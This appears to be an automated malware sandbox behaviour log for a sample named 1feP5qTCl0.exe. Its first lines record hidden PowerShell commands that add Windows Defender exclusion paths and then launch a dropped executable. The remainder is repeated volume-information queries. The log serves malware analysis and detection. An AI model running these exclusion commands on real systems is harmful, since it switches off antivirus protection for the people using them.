Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files (x86)'"	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery'"	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Reka'"	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%USERPROFILE%\Desktop'"	Jump to behavior
Source: C:\Users\user\Desktop\1feP5qTCl0.exe	Process created: C:\Reka\rapnewsa.exe C:\Reka\rapnewsa.exe	Jump to behavior

Source: C:\Reka\rapnewsa.exe

Code function: 19_2_00A48A80 cpuid

19_2_00A48A80

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
